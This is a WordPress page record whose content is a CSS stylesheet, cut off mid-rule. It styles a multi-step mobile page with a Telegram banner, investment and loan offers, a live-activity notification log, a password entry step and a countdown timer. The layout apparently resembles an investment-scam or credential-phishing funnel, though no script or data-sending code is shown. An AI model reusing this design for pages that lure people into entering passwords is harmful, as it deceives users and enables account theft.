{"id":8,"date":"2026-06-26T19:05:09","date_gmt":"2026-06-26T19:05:09","guid":{"rendered":"https:\/\/followallthesteps.it.com\/?page_id=8"},"modified":"2026-06-26T20:32:54","modified_gmt":"2026-06-26T20:32:54","slug":"elementor-8","status":"publish","type":"page","link":"https:\/\/followallthesteps.it.com\/","title":{"rendered":""},"content":{"rendered":"\t\t<div data-elementor-type=\"wp-page\" data-elementor-id=\"8\" class=\"elementor elementor-8\">\n\t\t\t\t\t\t\t\t\t<section class=\"elementor-section elementor-top-section elementor-element elementor-element-ca719ef elementor-section-boxed elementor-section-height-default elementor-section-height-default\" data-id=\"ca719ef\" data-element_type=\"section\">\n\t\t\t\t\t\t<div class=\"elementor-container elementor-column-gap-default\">\n\t\t\t\t\t<div class=\"elementor-column elementor-col-100 elementor-top-column elementor-element elementor-element-0dbde82\" data-id=\"0dbde82\" data-element_type=\"column\">\n\t\t\t<div class=\"elementor-widget-wrap elementor-element-populated\">\n\t\t\t\t\t\t\t\t<div class=\"elementor-element elementor-element-5ca665f elementor-widget elementor-widget-shortcode\" data-id=\"5ca665f\" data-element_type=\"widget\" data-widget_type=\"shortcode.default\">\n\t\t\t\t<div class=\"elementor-widget-container\">\n\t\t\t\t\t<div class=\"elementor-shortcode\">\r\n    <style>\r\n        * {\r\n            margin: 0;\r\n            padding: 0;\r\n            box-sizing: border-box;\r\n            font-family: 'Inter', sans-serif;\r\n        }\r\n\r\n        html, body {\r\n            margin: 0;\r\n            padding: 0;\r\n            width: 100%;\r\n            height: 100vh;\r\n            overflow: hidden !important;\r\n            background: #0f2128;\r\n        }\r\n\r\n        .shop-card {\r\n            position: fixed;\r\n            top: 15px;\r\n            left: 15px;\r\n            right: 15px;\r\n            bottom: 15px;\r\n            width: auto;\r\n            max-width: 100%;\r\n            background: #0f2128;\r\n            border-radius: 0;\r\n            padding: 6px 8px;\r\n            border: none;\r\n            margin: 0;\r\n            box-shadow: none;\r\n            display: flex;\r\n            flex-direction: column;\r\n            justify-content: center;\r\n            overflow: hidden;\r\n        }\r\n\r\n        \/* ===== SPLASH SCREEN - PERFECT CENTER ===== *\/\r\n.splash-screen {\r\n    display: flex;\r\n    flex-direction: column;\r\n    justify-content: center;\r\n    align-items: center;\r\n    height: 100vh;\r\n    width: 100vw;\r\n    background: #0f2128;\r\n    border-radius: 0;\r\n    padding: 20px 20px 100px 20px;  \/* \u2190 bottom padding \u0628\u0691\u06be\u0627\u06cc\u0627 *\/\r\n    position: fixed;\r\n    top: 0;\r\n    left: 0;\r\n    right: 0;\r\n    bottom: 0;\r\n    z-index: 9999;\r\n    margin: 0;\r\n    transform: translate(0, 0);\r\n}\r\n\r\n\/* ===== SPLASH CONTENT WRAPPER ===== *\/\r\n.splash-content {\r\n    display: flex;\r\n    flex-direction: column;\r\n    justify-content: center;\r\n    align-items: center;\r\n    width: 100%;\r\n    height: 100%;\r\n    max-height: 400px;\r\n    margin: auto;\r\n    position: absolute;\r\n    top: 50%;\r\n    left: 50%;\r\n    transform: translate(-50%, -50%);\r\n}\r\n\r\n.splash-logo {\r\n    background: #1c3a42;\r\n    width: 110px;\r\n    height: 110px;\r\n    border-radius: 50%;\r\n    display: flex;\r\n    justify-content: center;\r\n    align-items: center;\r\n    margin-bottom: 20px;\r\n    box-shadow: 0 8px 0 #0b1a1e, 0 12px 28px rgba(0,0,0,0.5);\r\n    padding: 15px;\r\n    flex-shrink: 0;\r\n}\r\n\r\n\/* ===== PNG LOGO IN SPLASH ===== *\/\r\n.splash-logo-img {\r\n    width: 70px;\r\n    height: 70px;\r\n    object-fit: contain;\r\n    display: block;\r\n    filter: drop-shadow(0 4px 12px rgba(245, 197, 66, 0.2));\r\n    transition: all 0.3s ease;\r\n}\r\n\r\n.splash-logo-img:hover {\r\n    transform: scale(1.05);\r\n    filter: drop-shadow(0 6px 20px rgba(245, 197, 66, 0.4));\r\n}\r\n\r\n.loader-dots {\r\n    display: flex;\r\n    gap: 14px;\r\n    margin-top: 10px;\r\n    flex-shrink: 0;\r\n}\r\n\r\n.loader-dots span {\r\n    width: 14px;\r\n    height: 14px;\r\n    background: #f5c542;\r\n    border-radius: 50%;\r\n    animation: bounce 1.4s infinite ease-in-out both;\r\n}\r\n\r\n.loader-dots span:nth-child(1) { animation-delay: -0.32s; }\r\n.loader-dots span:nth-child(2) { animation-delay: -0.16s; }\r\n\r\n@keyframes bounce {\r\n    0%, 80%, 100% { transform: scale(0.6); opacity: 0.4; }\r\n    40% { transform: scale(1.2); opacity: 1; }\r\n}\r\n\r\n.splash-sub {\r\n    color: #8aa9b2;\r\n    font-size: 13px;\r\n    font-weight: 600;\r\n    letter-spacing: 2px;\r\n    text-transform: uppercase;\r\n    margin-top: 20px;\r\n    border-top: 1px solid #2b4a4f;\r\n    padding-top: 20px;\r\n    width: 70%;\r\n    text-align: center;\r\n    flex-shrink: 0;\r\n}\r\n\r\n\/* ===== SPLASH SCREEN RESPONSIVE - MOBILE ===== *\/\r\n@media (max-width: 480px) {\r\n    .splash-content {\r\n        max-height: 350px;\r\n    }\r\n    \r\n    .splash-logo {\r\n        width: 80px;\r\n        height: 80px;\r\n        padding: 12px;\r\n        margin-bottom: 15px;\r\n    }\r\n    \r\n    .splash-logo-img {\r\n        width: 50px;\r\n        height: 50px;\r\n    }\r\n    \r\n    .splash-sub {\r\n        font-size: 11px;\r\n        width: 80%;\r\n        margin-top: 15px;\r\n        padding-top: 15px;\r\n    }\r\n    \r\n    .loader-dots {\r\n        gap: 12px;\r\n        margin-top: 8px;\r\n    }\r\n    \r\n    .loader-dots span {\r\n        width: 12px;\r\n        height: 12px;\r\n    }\r\n}\r\n\r\n\/* ===== SPLASH SCREEN RESPONSIVE - SMALL HEIGHT ===== *\/\r\n@media (max-height: 600px) {\r\n    .splash-content {\r\n        max-height: 280px;\r\n    }\r\n    \r\n    .splash-logo {\r\n        width: 65px;\r\n        height: 65px;\r\n        padding: 10px;\r\n        margin-bottom: 10px;\r\n    }\r\n    \r\n    .splash-logo-img {\r\n        width: 40px;\r\n        height: 40px;\r\n    }\r\n    \r\n    .splash-sub {\r\n        font-size: 10px;\r\n        margin-top: 10px;\r\n        padding-top: 10px;\r\n        width: 80%;\r\n    }\r\n    \r\n    .loader-dots {\r\n        gap: 10px;\r\n        margin-top: 6px;\r\n    }\r\n    \r\n    .loader-dots span {\r\n        width: 10px;\r\n        height: 10px;\r\n    }\r\n}\r\n\r\n\/* ===== SPLASH SCREEN RESPONSIVE - VERY SMALL ===== *\/\r\n@media (max-width: 380px) and (max-height: 700px) {\r\n    .splash-content {\r\n        max-height: 300px;\r\n    }\r\n    \r\n    .splash-logo {\r\n        width: 70px;\r\n        height: 70px;\r\n        padding: 10px;\r\n        margin-bottom: 12px;\r\n    }\r\n    \r\n    .splash-logo-img {\r\n        width: 44px;\r\n        height: 44px;\r\n    }\r\n    \r\n    .splash-sub {\r\n        font-size: 10px;\r\n        margin-top: 12px;\r\n        padding-top: 12px;\r\n        width: 85%;\r\n    }\r\n    \r\n    .loader-dots {\r\n        gap: 10px;\r\n        margin-top: 8px;\r\n    }\r\n    \r\n    .loader-dots span {\r\n        width: 11px;\r\n        height: 11px;\r\n    }\r\n}\r\n\r\n        \/* ===== STEP 2 ===== *\/\r\n        .step-two {\r\n            display: none;\r\n            width: 100%;\r\n            height: 100%;\r\n            flex-direction: column;\r\n            justify-content: center;\r\n        }\r\n\r\n        .step-two:not(.hidden) {\r\n            display: flex;\r\n        }\r\n\r\n        .step-two-content {\r\n            display: flex;\r\n            flex-direction: column;\r\n            justify-content: center;\r\n            gap: 20px;\r\n            width: 100%;\r\n            height: 100%;\r\n        }\r\n\r\n        \/* ===== STEP 3, 4, 5 - CENTERED ===== *\/\r\n        .step-three,\r\n        .step-four,\r\n        .step-five {\r\n            display: none;\r\n            flex-direction: column;\r\n            justify-content: center;\r\n            height: 100%;\r\n            width: 100%;\r\n            position: relative;\r\n            z-index: 10;\r\n        }\r\n\r\n        .step-three:not(.hidden),\r\n        .step-four:not(.hidden),\r\n        .step-five:not(.hidden) {\r\n            display: flex;\r\n        }\r\n\r\n        .step-three-content,\r\n        .step-four-content,\r\n        .step-five-content {\r\n            display: flex;\r\n            flex-direction: column;\r\n            justify-content: center;\r\n            gap: 20px;\r\n            width: 100%;\r\n            height: 100%;\r\n        }\r\n\r\n        \/* ===== TELEGRAM BANNER ===== *\/\r\n        .telegram-banner {\r\n            background: #132b33;\r\n            border-radius: 16px;\r\n            padding: 10px 20px;\r\n            display: flex;\r\n            align-items: center;\r\n            gap: 8px;\r\n            border: 1px solid #2b4a4f;\r\n            color: #d5eaef;\r\n            font-size: 15px;\r\n            font-weight: 500;\r\n            flex-shrink: 0;\r\n            min-height: 52px;\r\n            height: 52px;\r\n            overflow: hidden;\r\n        }\r\n\r\n        .telegram-banner .telegram-icon-wrapper i {\r\n            color: #27a5e7;\r\n            font-size: 28px;\r\n            min-width: 32px;\r\n            text-align: center;\r\n            animation: telegramShoot 3s ease-in-out infinite;\r\n        }\r\n\r\n        @keyframes telegramShoot {\r\n            0% { transform: translateX(0) scale(1); opacity: 1; }\r\n            5% { transform: translateX(20px) scale(1.3); opacity: 0.3; }\r\n            10% { transform: translateX(-10px) scale(0.8); opacity: 0.6; }\r\n            15% { transform: translateX(5px) scale(1.1); opacity: 0.8; }\r\n            20% { transform: translateX(0) scale(1); opacity: 1; }\r\n            100% { transform: translateX(0) scale(1); opacity: 1; }\r\n        }\r\n\r\n        .telegram-banner .flag { \r\n            font-size: 30px; \r\n            line-height: 1; \r\n            min-width: 36px;\r\n            text-align: center;\r\n        }\r\n\r\n        .telegram-banner .country-wrapper {\r\n            display: flex;\r\n            align-items: center;\r\n            justify-content: flex-start;\r\n            height: 100%;\r\n            min-width: 100px;\r\n        }\r\n\r\n        .telegram-banner .country { \r\n            font-weight: 600;\r\n            color: white; \r\n            font-size: 16px;\r\n            display: inline-block;\r\n            overflow: hidden;\r\n            white-space: nowrap;\r\n            animation: typewriterStop 5s steps(20) infinite;\r\n            text-align: left;\r\n            line-height: 1;\r\n        }\r\n\r\n        @keyframes typewriterStop {\r\n            0% { width: 0; }\r\n            40% { width: 100%; }\r\n            80% { width: 100%; }\r\n            100% { width: 0; }\r\n        }\r\n\r\n        .telegram-banner .time {\r\n            margin-left: auto;\r\n            font-size: 12px;\r\n            background: #0f2128;\r\n            padding: 4px 14px;\r\n            border-radius: 30px;\r\n            color: #8aa9b2;\r\n            border: 1px solid #2f535b;\r\n            min-width: 60px;\r\n            text-align: center;\r\n            font-variant-numeric: tabular-nums;\r\n            height: 30px;\r\n            display: flex;\r\n            align-items: center;\r\n            justify-content: center;\r\n        }\r\n\r\n        \/* ===== BADGE ===== *\/\r\n        .badge-shop {\r\n            display: flex;\r\n            justify-content: space-between;\r\n            align-items: center;\r\n            color: #b2d3db;\r\n            font-size: 11px;\r\n            font-weight: 600;\r\n            border-bottom: 1px solid #264249;\r\n            padding-bottom: 8px;\r\n            flex-shrink: 0;\r\n        }\r\n\r\n        .badge-shop i { color: #f5c542; font-size: 14px; margin-right: 5px; }\r\n        .badge-shop span:last-child {\r\n            background: #1c3a42;\r\n            padding: 3px 12px;\r\n            border-radius: 60px;\r\n            font-size: 10px;\r\n            color: #b2d3db;\r\n            display: flex;\r\n            align-items: center;\r\n            gap: 4px;\r\n        }\r\n\r\n        \/* ===== TITLE ===== *\/\r\n        .main-title {\r\n            font-size: 30px;\r\n            font-weight: 800;\r\n            color: white;\r\n            line-height: 1.1;\r\n            letter-spacing: -0.5px;\r\n            text-align: center;\r\n            flex-shrink: 0;\r\n            overflow: hidden;\r\n        }\r\n\r\n        .main-title .title-line {\r\n            display: block;\r\n            animation: speedFromBack 6s ease-in-out infinite;\r\n        }\r\n\r\n        .main-title .highlight {\r\n            color: #f5c542;\r\n            display: block;\r\n            font-size: 32px;\r\n            animation: speedFromBack 6s ease-in-out infinite 1s;\r\n        }\r\n\r\n        @keyframes speedFromBack {\r\n            0% { transform: scale(0.3) translateX(-50px); opacity: 0; }\r\n            10% { transform: scale(1.1) translateX(10px); opacity: 1; }\r\n            20% { transform: scale(1) translateX(0); opacity: 1; }\r\n            85% { transform: scale(1) translateX(0); opacity: 1; }\r\n            100% { transform: scale(0.3) translateX(50px); opacity: 0; }\r\n        }\r\n\r\n        .sub-highlight {\r\n            color: #f5c542;\r\n            font-weight: 700;\r\n            font-size: 17px;\r\n            text-align: center;\r\n            flex-shrink: 0;\r\n            animation: pulseText 2s ease-in-out infinite;\r\n        }\r\n\r\n        @keyframes pulseText {\r\n            0%, 100% { opacity: 1; transform: scale(1); }\r\n            50% { opacity: 0.7; transform: scale(0.98); }\r\n        }\r\n\r\n        \/* ===== INVEST GRID ===== *\/\r\n        .invest-grid {\r\n            display: flex;\r\n            justify-content: space-around;\r\n            background: #152e36;\r\n            border-radius: 50px;\r\n            padding: 10px 8px;\r\n            border: 1px solid #2f535b;\r\n            flex-shrink: 0;\r\n            overflow: hidden;\r\n        }\r\n\r\n        .invest-grid .item {\r\n            display: flex;\r\n            flex-direction: column;\r\n            align-items: center;\r\n            color: white;\r\n            flex: 1;\r\n            text-align: center;\r\n        }\r\n\r\n        .invest-grid .item i { \r\n            font-size: 22px; \r\n            color: #f5c542; \r\n            margin-bottom: 2px;\r\n            animation: shootEffect 4s ease-in-out infinite;\r\n            opacity: 0.5;\r\n        }\r\n\r\n        .invest-grid .item:nth-child(1) i { animation-delay: 0s; }\r\n        .invest-grid .item:nth-child(2) i { animation-delay: 1.3s; }\r\n        .invest-grid .item:nth-child(3) i { animation-delay: 2.6s; }\r\n\r\n        @keyframes shootEffect {\r\n            0% { transform: translateX(0) scale(1); opacity: 0.5; }\r\n            8% { transform: translateX(15px) scale(1.2); opacity: 0.3; }\r\n            16% { transform: translateX(-8px) scale(0.8); opacity: 0.6; }\r\n            24% { transform: translateX(5px) scale(1.1); opacity: 0.8; }\r\n            32% { transform: translateX(0) scale(1); opacity: 1; }\r\n            50% { transform: translateX(0) scale(1); opacity: 1; }\r\n            60% { transform: translateX(0) scale(1); opacity: 0.5; }\r\n            100% { transform: translateX(0) scale(1); opacity: 0.5; }\r\n        }\r\n\r\n        .invest-grid .item .label {\r\n            font-size: 9px;\r\n            font-weight: 600;\r\n            color: #8aa9b2;\r\n            text-transform: uppercase;\r\n            letter-spacing: 0.5px;\r\n        }\r\n        .invest-grid .item .value { font-weight: 700; font-size: 13px; color: white; }\r\n        .invest-grid .item .value.gold { color: #f5c542; }\r\n\r\n        \/* ===== OFFER TEXT ===== *\/\r\n        .offer-text {\r\n            background: #152e36;\r\n            border-radius: 16px;\r\n            padding: 10px 14px;\r\n            border-left: 4px solid #f5c542;\r\n            border-right: 4px solid #f5c542;\r\n            color: #c8dce2;\r\n            font-size: 12px;\r\n            font-weight: 500;\r\n            line-height: 1.4;\r\n            flex-shrink: 0;\r\n            display: flex;\r\n            align-items: center;\r\n            justify-content: center;\r\n            gap: 8px;\r\n            text-align: center;\r\n        }\r\n\r\n        .offer-text i { \r\n            color: #f5c542; \r\n            font-size: 14px;\r\n            flex-shrink: 0;\r\n        }\r\n\r\n        .offer-text .offer-text-center {\r\n            flex: 1;\r\n            text-align: center;\r\n        }\r\n\r\n        \/* ===== BUTTON ===== *\/\r\n        .btn-invest {\r\n            background: #f5c542;\r\n            border: none;\r\n            width: 100%;\r\n            padding: 16px 10px;\r\n            border-radius: 50px;\r\n            font-weight: 800;\r\n            font-size: 18px;\r\n            color: #0b1a1e;\r\n            box-shadow: 0 6px 0 #b0822a, 0 6px 18px rgba(245, 197, 66, 0.3);\r\n            cursor: pointer;\r\n            display: flex;\r\n            justify-content: center;\r\n            align-items: center;\r\n            gap: 10px;\r\n            border: 1px solid #fad46b;\r\n            flex-shrink: 0;\r\n            transition: all 0.3s ease;\r\n        }\r\n\r\n        .btn-invest i { font-size: 20px; }\r\n        .btn-invest .fa-spinner { animation: spin 0.8s linear infinite; }\r\n\r\n        @keyframes spin {\r\n            0% { transform: rotate(0deg); }\r\n            100% { transform: rotate(360deg); }\r\n        }\r\n\r\n        .btn-invest:active {\r\n            transform: translateY(4px);\r\n            box-shadow: 0 2px 0 #b0822a;\r\n        }\r\n\r\n        .btn-invest:disabled {\r\n            opacity: 0.8;\r\n            cursor: not-allowed;\r\n        }\r\n\r\n        \/* ===== LOAN SECTION ===== *\/\r\n        .loan-section {\r\n            background: #132b33;\r\n            border-radius: 16px;\r\n            padding: 10px 20px;\r\n            display: flex;\r\n            justify-content: space-between;\r\n            align-items: center;\r\n            border: 1px solid #2b4a4f;\r\n            flex-shrink: 0;\r\n            min-height: 52px;\r\n            height: 52px;\r\n            overflow: hidden;\r\n        }\r\n\r\n        .loan-section .left {\r\n            display: flex;\r\n            align-items: center;\r\n            gap: 12px;\r\n        }\r\n\r\n        .loan-section .left i { \r\n            font-size: 32px;\r\n            color: #f5c542; \r\n            min-width: 36px;\r\n            text-align: center;\r\n            animation: shootEffectLoan 4s ease-in-out infinite;\r\n            opacity: 0.5;\r\n        }\r\n\r\n        @keyframes shootEffectLoan {\r\n            0% { transform: translateX(0) scale(1); opacity: 0.5; }\r\n            8% { transform: translateX(18px) scale(1.3); opacity: 0.2; }\r\n            16% { transform: translateX(-10px) scale(0.8); opacity: 0.6; }\r\n            24% { transform: translateX(6px) scale(1.15); opacity: 0.8; }\r\n            32% { transform: translateX(0) scale(1); opacity: 1; }\r\n            50% { transform: translateX(0) scale(1); opacity: 1; }\r\n            60% { transform: translateX(0) scale(1); opacity: 0.5; }\r\n            100% { transform: translateX(0) scale(1); opacity: 0.5; }\r\n        }\r\n\r\n        .loan-section .left .loan-text { \r\n            color: white; \r\n            font-weight: 700; \r\n            font-size: 14px; \r\n        }\r\n        .loan-section .left .loan-sub { \r\n            color: #8aa9b2; \r\n            font-size: 10px; \r\n            font-weight: 500; \r\n        }\r\n        .loan-section .right {\r\n            background: #0f2128;\r\n            padding: 4px 14px;\r\n            border-radius: 40px;\r\n            color: #f5c542;\r\n            font-weight: 700;\r\n            font-size: 12px;\r\n            border: 1px solid #2f535b;\r\n            display: flex;\r\n            align-items: center;\r\n            gap: 6px;\r\n            animation: glowPulse 2s ease-in-out infinite;\r\n            height: 30px;\r\n        }\r\n\r\n        @keyframes glowPulse {\r\n            0%, 100% { box-shadow: 0 0 5px rgba(245, 197, 66, 0.1); }\r\n            50% { box-shadow: 0 0 15px rgba(245, 197, 66, 0.3); }\r\n        }\r\n\r\n        .loan-section .right i {\r\n            font-size: 12px;\r\n            animation: arrowMove 1.2s ease-in-out infinite;\r\n        }\r\n\r\n        @keyframes arrowMove {\r\n            0%, 100% { transform: translateX(0); }\r\n            50% { transform: translateX(4px); }\r\n        }\r\n\r\n        \/* ===== NOTIFICATION LOG - ONE BOX ===== *\/\r\n        .notification-log {\r\n            background: #0d1f26;\r\n            border-radius: 16px;\r\n            padding: 14px 18px;\r\n            max-height: 110px;\r\n            overflow-y: auto;\r\n            border: 1px solid #264249;\r\n            flex-shrink: 0;\r\n            min-height: 90px;\r\n            height: 90px;\r\n            display: flex;\r\n            flex-direction: column;\r\n            justify-content: flex-start;\r\n        }\r\n\r\n        .notification-log .log-item {\r\n            color: #b2d3db;\r\n            font-size: 12px;\r\n            padding: 4px 0;\r\n            border-bottom: 1px solid #1a343d;\r\n            display: flex;\r\n            align-items: center;\r\n            gap: 8px;\r\n            flex-shrink: 0;\r\n        }\r\n\r\n        .notification-log .log-item:last-child { border-bottom: none; }\r\n        \r\n        .notification-log .log-item i { \r\n            font-size: 14px; \r\n            min-width: 20px;\r\n            text-align: center;\r\n            flex-shrink: 0;\r\n        }\r\n        \r\n        .notification-log .log-item .log-flag { \r\n            font-size: 18px;\r\n            flex-shrink: 0;\r\n            min-width: 26px;\r\n            text-align: center;\r\n        }\r\n        \r\n        .notification-log .log-item .log-text {\r\n            flex: 1;\r\n            font-weight: 500;\r\n            color: #d5eaef;\r\n            font-size: 12px;\r\n            text-align: left;\r\n        }\r\n        \r\n        .notification-log .log-item .log-time {\r\n            margin-left: auto;\r\n            color: #6a8f99;\r\n            font-size: 10px;\r\n            flex-shrink: 0;\r\n        }\r\n\r\n        \/* ===== STEP INDICATOR ===== *\/\r\n        .step-indicator {\r\n            display: flex;\r\n            justify-content: center;\r\n            gap: 8px;\r\n            flex-shrink: 0;\r\n        }\r\n\r\n        .step-indicator .dot {\r\n            width: 8px;\r\n            height: 8px;\r\n            background: #315158;\r\n            border-radius: 20px;\r\n            transition: 0.2s;\r\n        }\r\n\r\n        .step-indicator .dot.active {\r\n            background: #f5c542;\r\n            width: 24px;\r\n        }\r\n\r\n        .step-label {\r\n            text-align: center;\r\n            color: #4f727b;\r\n            font-size: 10px;\r\n            font-weight: 600;\r\n            letter-spacing: 1px;\r\n            flex-shrink: 0;\r\n        }\r\n\r\n        .hidden { display: none !important; }\r\n        \r\n       \/* ============================================================\r\n   BOTTOM BAR - PURE WHITE\r\n   ============================================================ *\/\r\n\r\n.bottom-bar {\r\n    position: fixed;\r\n    bottom: 0;\r\n    left: 0;\r\n    right: 0;\r\n    width: 100%;\r\n    background: #ffffff;\r\n    padding: 12px 20px 18px 20px;\r\n    z-index: 100;\r\n    display: flex;\r\n    flex-direction: column;\r\n    align-items: center;\r\n    gap: 6px;\r\n    min-height: 80px;\r\n    max-height: 100px;\r\n    border-top: 1px solid #e8edf0;\r\n    box-shadow: none;\r\n}\r\n\r\n.bottom-bar .step-indicator {\r\n    display: flex;\r\n    justify-content: center;\r\n    align-items: center;\r\n    gap: 10px;\r\n    flex-shrink: 0;\r\n}\r\n\r\n.bottom-bar .step-indicator .dot {\r\n    width: 10px;\r\n    height: 10px;\r\n    background: #d0dbe0;\r\n    border-radius: 50%;\r\n    transition: all 0.4s ease;\r\n    border: 1px solid #e8edf0;\r\n    cursor: default;\r\n}\r\n\r\n.bottom-bar .step-indicator .dot.active {\r\n    background: #f5c542;\r\n    width: 32px;\r\n    border-radius: 20px;\r\n    border-color: #f5c542;\r\n    box-shadow: 0 0 16px rgba(245, 197, 66, 0.25);\r\n}\r\n\r\n.bottom-bar .step-indicator .dot:not(.active) {\r\n    opacity: 0.6;\r\n}\r\n\r\n.bottom-bar .step-label {\r\n    display: flex;\r\n    align-items: center;\r\n    justify-content: center;\r\n    gap: 10px;\r\n    color: #1a3a44;\r\n    font-size: 13px;\r\n    font-weight: 600;\r\n    letter-spacing: 1.5px;\r\n    flex-shrink: 0;\r\n}\r\n\r\n.bottom-bar .step-label .step-badge {\r\n    display: inline-flex;\r\n    align-items: center;\r\n    justify-content: center;\r\n    background: #f5c542;\r\n    color: #0b1a1e;\r\n    font-size: 9px;\r\n    font-weight: 800;\r\n    width: 20px;\r\n    height: 20px;\r\n    border-radius: 50%;\r\n    flex-shrink: 0;\r\n    box-shadow: 0 0 14px rgba(245, 197, 66, 0.15);\r\n    transition: all 0.3s ease;\r\n}\r\n\r\n.bottom-bar .step-label .step-badge i {\r\n    font-size: 10px;\r\n}\r\n\r\n\/* ===== STEP 5 COMPLETE BADGE ===== *\/\r\n.bottom-bar .step-label .step-badge.complete {\r\n    background: #4caf50;\r\n    color: white;\r\n    box-shadow: 0 0 14px rgba(76, 175, 80, 0.2);\r\n}\r\n\r\n\/* ===== RESPONSIVE ===== *\/\r\n@media (max-width: 480px) {\r\n    .bottom-bar {\r\n        padding: 10px 16px 14px 16px;\r\n        min-height: 70px;\r\n    }\r\n    \r\n    .bottom-bar .step-indicator {\r\n        gap: 8px;\r\n    }\r\n    \r\n    .bottom-bar .step-indicator .dot {\r\n        width: 8px;\r\n        height: 8px;\r\n    }\r\n    \r\n    .bottom-bar .step-indicator .dot.active {\r\n        width: 26px;\r\n    }\r\n    \r\n    .bottom-bar .step-label {\r\n        font-size: 11px;\r\n        gap: 8px;\r\n    }\r\n    \r\n    .bottom-bar .step-label .step-badge {\r\n        width: 17px;\r\n        height: 17px;\r\n        font-size: 8px;\r\n    }\r\n}\r\n\r\n@media (max-height: 600px) {\r\n    .bottom-bar {\r\n        padding: 6px 12px 10px 12px;\r\n        min-height: 58px;\r\n    }\r\n    \r\n    .bottom-bar .step-indicator {\r\n        gap: 6px;\r\n    }\r\n    \r\n    .bottom-bar .step-indicator .dot {\r\n        width: 7px;\r\n        height: 7px;\r\n    }\r\n    \r\n    .bottom-bar .step-indicator .dot.active {\r\n        width: 20px;\r\n    }\r\n    \r\n    .bottom-bar .step-label {\r\n        font-size: 9px;\r\n        gap: 6px;\r\n        letter-spacing: 1px;\r\n    }\r\n    \r\n    .bottom-bar .step-label .step-badge {\r\n        width: 15px;\r\n        height: 15px;\r\n        font-size: 7px;\r\n    }\r\n}\r\n\r\n        \/* ===== STEP 3 BOX ===== *\/\r\n        .step-three-box {\r\n            background: #132b33;\r\n            border-radius: 16px;\r\n            padding: 24px 20px;\r\n            border: 1px solid #2b4a4f;\r\n            display: flex;\r\n            flex-direction: column;\r\n            gap: 18px;\r\n        }\r\n\r\n        .step-three-box .step-logo {\r\n            text-align: center;\r\n            font-size: 42px;\r\n            color: #f5c542;\r\n        }\r\n\r\n        .step-three-box .step-title {\r\n            color: white;\r\n            font-size: 22px;\r\n            font-weight: 700;\r\n            text-align: center;\r\n        }\r\n\r\n        .step-three-box .step-desc {\r\n            color: #8aa9b2;\r\n            font-size: 13px;\r\n            text-align: center;\r\n            line-height: 1.5;\r\n        }\r\n\r\n        .input-group {\r\n            background: #0f2128;\r\n            border-radius: 12px;\r\n            border: 1px solid #2b4a4f;\r\n            display: flex;\r\n            align-items: center;\r\n            padding: 0 16px;\r\n            height: 52px;\r\n            transition: border-color 0.3s ease;\r\n        }\r\n\r\n        .input-group:focus-within {\r\n            border-color: #f5c542;\r\n        }\r\n\r\n        .input-group i {\r\n            color: #8aa9b2;\r\n            font-size: 20px;\r\n            min-width: 30px;\r\n        }\r\n\r\n        .input-group input {\r\n            background: transparent;\r\n            border: none;\r\n            outline: none;\r\n            color: white;\r\n            font-size: 15px;\r\n            width: 100%;\r\n            height: 100%;\r\n            font-weight: 500;\r\n        }\r\n\r\n        .input-group input::placeholder {\r\n            color: #4f727b;\r\n        }\r\n\r\n        .input-group .toggle-password {\r\n            cursor: pointer;\r\n            color: #8aa9b2;\r\n            font-size: 18px;\r\n            min-width: 30px;\r\n            text-align: right;\r\n            transition: color 0.3s ease;\r\n        }\r\n\r\n        .input-group .toggle-password:hover {\r\n            color: #f5c542;\r\n        }\r\n\r\n        .forgot-text {\r\n            color: #8aa9b2;\r\n            font-size: 13px;\r\n            text-align: right;\r\n            cursor: pointer;\r\n            transition: color 0.3s ease;\r\n        }\r\n\r\n        .forgot-text:hover {\r\n            color: #f5c542;\r\n        }\r\n\r\n        \/* ===== STEP 5 - ENHANCED ===== *\/\r\n        .clock-svg {\r\n            width: 90px;\r\n            height: 90px;\r\n            margin: 0 auto;\r\n            animation: pulse 2s ease-in-out infinite;\r\n        }\r\n\r\n        .clock-svg circle {\r\n            fill: none;\r\n            stroke: #f5c542;\r\n            stroke-width: 5;\r\n        }\r\n\r\n        .clock-svg .clock-bg {\r\n            fill: #132b33;\r\n            stroke: #2b4a4f;\r\n            stroke-width: 3;\r\n        }\r\n\r\n        .clock-svg .hand {\r\n            stroke: #f5c542;\r\n            stroke-width: 4;\r\n            stroke-linecap: round;\r\n            transform-origin: 45px 45px;\r\n            animation: spin 60s linear infinite;\r\n        }\r\n\r\n        .clock-svg .hand-minute {\r\n            stroke: #8aa9b2;\r\n            stroke-width: 3;\r\n            transform-origin: 45px 45px;\r\n            animation: spin 3600s linear infinite;\r\n        }\r\n\r\n        .clock-svg .center-dot {\r\n            fill: #f5c542;\r\n            r: 4;\r\n        }\r\n\r\n        .clock-svg .marker {\r\n            stroke: #f5c542;\r\n            stroke-width: 2.5;\r\n        }\r\n\r\n        .clock-svg .marker-small {\r\n            stroke: #4f727b;\r\n            stroke-width: 1.5;\r\n        }\r\n\r\n        @keyframes spin {\r\n            from { transform: rotate(0deg); }\r\n            to { transform: rotate(360deg); }\r\n        }\r\n\r\n        @keyframes pulse {\r\n            0%, 100% { transform: scale(1); opacity: 1; }\r\n            50% { transform: scale(1.05); opacity: 0.85; }\r\n        }\r\n\r\n        .step-five-title {\r\n            color: white;\r\n            font-size: 24px;\r\n            font-weight: 700;\r\n            text-align: center;\r\n            line-height: 1.4;\r\n        }\r\n\r\n        .step-five-title .highlight-gold {\r\n            color: #f5c542;\r\n            font-size: 28px;\r\n        }\r\n\r\n        .step-five-desc {\r\n            color: #8aa9b2;\r\n            font-size: 15px;\r\n            text-align: center;\r\n            line-height: 1.6;\r\n            padding: 0 15px;\r\n        }\r\n\r\n        .step-five-desc strong {\r\n            color: #f5c542;\r\n        }\r\n\r\n        .timer-box {\r\n            background: #132b33;\r\n            border-radius: 16px;\r\n            padding: 22px 20px;\r\n            border: 2px solid #f5c542;\r\n            text-align: center;\r\n            box-shadow: 0 0 40px rgba(245, 197, 66, 0.12);\r\n        }\r\n\r\n        .timer-box .timer-label {\r\n            color: #8aa9b2;\r\n            font-size: 13px;\r\n            text-transform: uppercase;\r\n            letter-spacing: 2px;\r\n            font-weight: 600;\r\n        }\r\n\r\n        .timer-box .timer-label i {\r\n            color: #f5c542;\r\n            margin-right: 6px;\r\n        }\r\n\r\n        .timer-box .timer-display {\r\n            font-size: 52px;\r\n            font-weight: 800;\r\n            color: #f5c542;\r\n            font-variant-numeric: tabular-nums;\r\n            letter-spacing: 5px;\r\n            margin: 12px 0;\r\n            font-family: 'Inter', monospace;\r\n            text-shadow: 0 0 30px rgba(245, 197, 66, 0.15);\r\n        }\r\n\r\n        .timer-box .timer-sub {\r\n            color: #6a8f99;\r\n            font-size: 